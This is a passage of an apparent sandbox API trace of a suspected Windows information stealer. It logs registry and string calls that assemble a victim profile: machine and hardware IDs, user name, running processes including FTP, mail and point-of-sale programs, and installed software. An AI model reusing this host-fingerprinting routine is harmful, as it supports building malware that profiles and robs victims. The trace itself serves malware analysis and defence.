yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\n"
[0054.972] RegCloseKey (hKey=0x514) returned 0x0
[0054.972] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x31, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00E2-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.972] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00E2-0409-0000-0000000FF1CE}") returned 90
[0054.972] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00E2-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.972] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office OSM UX MUI (English) 2016", lpcbData=0x1816c0*=0x2b) returned 0x0
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Office OSM UX MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe 